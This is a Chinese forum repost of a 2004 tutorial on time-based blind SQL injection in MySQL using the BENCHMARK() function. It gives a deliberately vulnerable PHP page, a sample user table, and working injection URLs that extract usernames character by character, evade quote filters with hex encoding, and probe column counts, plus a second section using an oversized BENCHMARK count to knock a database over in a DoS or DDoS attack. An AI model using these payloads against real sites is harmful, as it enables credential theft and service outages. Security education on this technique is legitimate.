找回密码
 立即注册
查看: 2830|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
7 ]; E4 m0 q* ?- R8 C1 T- s1 a本文作者:SuperHei- E+ @! y2 F# @! X$ d/ w, e( S5 m) D
文章性质:原创" c0 B. Z* Q! I6 M4 m
发布日期:2005-01-02
# ~8 Y' k$ O' `3 ?完成日期:2004-07-09
1 u  O/ b  [# E# A第一部% h; L4 N2 I* H- _9 M6 w

' R7 B4 q* s' q利用时间推延进行注射---BENCHMARK函数在注射中的利用   l* I( S6 x' m# o4 g  u
3 ~$ w2 M% r3 ]1 S
一.前言/思路; P  q; n  \  ~" P$ w. U+ D6 M+ {

$ z: l. z9 z* M' H' R' b- }, G  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。, D9 Q6 E: d9 L9 U, e4 x

  e7 j# j3 M; X! W  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
% C% @! b6 G: |5 m6 F7 N* Y0 u& P- z
二.关于BENCHMARK函数
/ k/ W8 C. @0 J
: J9 E1 A3 m6 p0 A4 Y8 b* S  在MySQL参考手册里可以看到如下描叙: ( i8 P, b% e, k. `+ I
) C5 {, D, o9 ^1 {
; E0 H" C* a* J8 F4 E. Q% C5 O/ O
--------------------------------------------------------------------------------' Y7 }4 C& ~* n& R& d

% r4 K/ C2 C4 V7 J& RBENCHMARK(count,expr) ) {! N) z" T, ^* ?
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
3 v4 F: s7 k5 L3 F# ]' z; `mysql> select BENCHMARK(1000000,encode("hello","goodbye")); ! U* _1 D2 h! s
+----------------------------------------------+ * i+ v0 v$ l7 I  r6 B* ]
| BENCHMARK(1000000,encode("hello","goodbye")) |
- |7 M5 i+ j7 H- G% T0 s7 a+----------------------------------------------+
. S% e6 t9 [/ F| 0 |
+ L1 N3 G* `% C! U" I. s: C+----------------------------------------------+
( k  b& F9 F( H1 row in set (4.74 sec)
) V2 \/ Z3 L- h
& V2 w, {' L4 _8 ~/ L4 z, [报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。) e$ K9 r: b# ~; G) B1 f
  @1 n# y& L4 o& ?# G* a! M

' t5 I& K* O6 C# A1 A--------------------------------------------------------------------------------+ k) i" k6 U8 j3 B$ Z
( }' E2 |7 R1 w7 X3 c: C9 w
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: - r3 u3 M2 D5 A: A

1 e4 w& f9 [  T, G$ k6 ?9 l: o+ V/ Gmysql> select md5( 'test' ); 7 t0 n9 X- r8 W
+----------------------------------+ # Y' m& o5 `$ u
| md5( 'test' ) | , G  n2 |+ P2 I6 E1 D
+----------------------------------+
; w6 J# ^4 [! ^* f7 ?. T| 098f6bcd4621d373cade4e832627b4f6 |
5 @6 h" K1 q' _% O; }" g0 S. w+----------------------------------+
% v$ P; P# M2 l8 q4 ?6 c5 H: x1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
8 {( Q+ s. I& P! l9 \5 b$ f! ~+ K( }. H
mysql> select benchmark( 500000, md5( 'test' ) ); ( ]( e% _/ K2 v# \8 g& D2 S
+------------------------------------+
, F1 P* [' J9 H- V| benchmark( 500000, md5( 'test' ) ) | 8 J4 k2 D8 s& s
+------------------------------------+ ! V. B5 \2 ?6 `% Z7 t1 }  _
| 0 | " B0 Z' d7 c' a5 d
+------------------------------------+
! F" s* a7 Q2 W& r, s1 row in set (6.55 sec) 〈------------执行时间为6.55 sec+ j2 ]2 b' I+ w# c  R

" y9 Y1 a* G0 }4 i' N& ~& d. f2 ]9 Z% g) Z) ?% P
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 3 B; i# m: F4 x% O0 G) k

- b8 f. |+ A; ]. i# o( S* X三.具体例子
7 p& D5 q# n9 G# e) Y" S, \
' g: l# h; C6 C$ K! H( {( D2 O4 ^/ K  首先我们看个简单的php代码:* O$ m, j2 R; N* F
. v; @1 W0 x; ]3 t* F( J
< ?php
+ `2 h1 k) X( M) W' C8 j$servername = "localhost";
0 c# E/ u" y4 V4 k  \% i$dbusername = "root"; 6 }+ L. w# O1 n5 d, k7 A2 R. Y& S
$dbpassword = ""; % @) c6 a$ X8 c( X
$dbname = "injection";
2 \+ F$ ^/ B7 ?, S2 z
8 M. |! @/ k6 N0 x6 u: z4 Gmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
  z" }6 Q" u7 P; m3 b3 D  B' K7 u) w; c, b5 K9 O- p/ H! E7 S
$sql = "SELECT * FROM article WHERE articleid=$id"; ; _: v* z3 u# f$ ?
$result = mysql_db_query($dbname,$sql); % ?7 _' g' q* x- X- |+ w" Z
$row = mysql_fetch_array($result); / X6 A/ x8 K: s
( |3 x( [; P0 T3 t- V/ ]
if (!$row) 2 z# w$ s3 `/ g$ t
{   {. L. s! \* D9 l
exit; 9 Q6 k' Y) Y% T4 q8 R1 K
} : d' r; t. |: r- z, I. K0 n$ V% Y3 D
?>; n. r' @- {. \* j0 b

/ }) l! [" w; k$ e+ O) V. c7 v) V' M2 O4 _" {* f) |1 D
  数据库injection结构和内容如下:
3 S7 y: v2 x! `
3 U- T5 W% U5 o: ]# 数据库 : `injection`
; x0 h3 o6 G1 s# ) Z" k2 h- F+ [/ t
) u4 h! m3 p  O  Q8 k$ j9 U2 g
# -------------------------------------------------------- - u5 [( a! K( b, H# J$ z

0 g# l/ C: L% c) H# ?4 r3 f6 _# $ b& P; X; h" `+ C
# 表的结构 `article` 8 T+ ~  G  }9 B
# ! C- b) J7 t. v  y1 I; Z* q, _
' d7 m% o: ?) ~5 ]9 i: a5 t$ A3 [5 V
CREATE TABLE `article` (
3 `% u7 f, W& R- K( N( g`articleid` int(11) NOT NULL auto_increment, ; \! p7 {, w, [% Z% k/ Y
`title` varchar(100) NOT NULL default '', $ P6 ]7 Z! x! n( s" T
`content` text NOT NULL,
7 `1 W+ ~2 D& J% mPRIMARY KEY (`articleid`)
4 y  S0 b  j2 N6 x) TYPE=MyISAM AUTO_INCREMENT=3 ; 7 `# |6 F6 u( [3 e

; F+ R0 O0 G% t+ M- A# 8 O; y7 {6 L! l/ R2 W# ^0 t4 E% w! w, v
# 导出表中的数据 `article`
1 s! A  z: a) {0 d7 ~9 n9 ^# . ?( j1 ^  b) P

8 S' }9 U' `' v, [! i! g* UINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
4 ~$ N: [+ h$ I; b. C0 S$ u$ c( MINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); % H3 h' x  i9 Y( Q2 w( w7 u
, Z' T4 w% m, T  u0 f
# -------------------------------------------------------- 1 K, F# G" z; \# y: F4 ?
& y! j3 k: U: _0 H9 f2 b, U
# 5 W( M7 _$ e- x% v, i* b4 F
# 表的结构 `user`
) h6 l* R9 Q7 w0 A$ R#
! u  P0 ]9 g: G6 ]: t* D) W! k
- H% P9 J# ]. xCREATE TABLE `user` ( 5 D  |' B! N6 {
`userid` int(11) NOT NULL auto_increment, * Y% l8 h/ C( i0 l5 x
`username` varchar(20) NOT NULL default '', # Y& [% J! n8 o
`password` varchar(20) NOT NULL default '',
) z7 @4 {2 g5 r, O& ~3 ^4 S8 lPRIMARY KEY (`userid`) , @1 |9 Y4 c  S# W& E5 ~' |
) TYPE=MyISAM AUTO_INCREMENT=3 ; ( O) ^4 j0 Z4 _- U& x' p4 G; m5 v

$ ^5 b! q! c3 a0 y, n- Y# n#
7 B2 `0 f( r" H  U: W# 导出表中的数据 `user`
1 D  {; D( C9 N3 o2 G% A# ( E5 ]& m# G6 D* k0 h+ s+ C" R
5 s- o+ x( B7 U- G9 I5 W
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
! _  L) u+ Z/ x$ YINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
( M2 ^+ }% E/ c7 X# o + G+ d' S5 y( q6 R8 K( |9 H0 p5 b  \9 a

: X% r2 b( S" |6 @9 `1 O  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:4 x) Y$ t3 D7 ]
0 s% o* j* Z/ R, K" u
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
0 o" \8 R' s! T# X2 R/ G7 m 5 [+ d7 e, `/ h# @. ~( C
( B3 h/ g" K$ L3 `) d
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
3 m* O2 c. W: Z9 ]. D3 K& u" I6 S( v, B" L6 q& Q
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*/ z! F" l; g( Q3 H# W

0 t( A+ t1 j6 L2 V% N0 w& o  f3 ^2 k3 l0 [$ v+ q( }
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 ! L5 q+ X( ?+ J" |2 M( o2 q! T
: R2 y4 [* v, k+ F+ C* N
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 0 m5 b& q  I6 e  ^7 f# [) L5 g
: I8 j" f) l) a
第二部$ S" H! V/ k7 g$ y7 Q

% ~) F9 r  f5 d! X利用BENCHMARK函数进行ddos攻击 9 @2 c6 V/ T3 K! S/ q2 n7 g

1 J7 {0 I. k9 v9 `, ~4 m; R4 H  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
" k+ k- L0 L5 l1 J% i' I6 o" m  ^+ Z2 `. p. `# D
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))2 C7 q* O& v( _, f4 O9 ^1 ?$ H) ]
6 r, ^3 T2 K$ g, d: \4 `/ v

, _) b. U* ^) Z3 L2 ?小结" s$ X, L' x5 s3 w' ^& s
, J0 }) F' q( w* ?- A) `
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。3 _# q  ~! X* W

7 D% V& E% A  p* w4 {$ O9 C( F  & P. L' G3 ?- }( s" {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表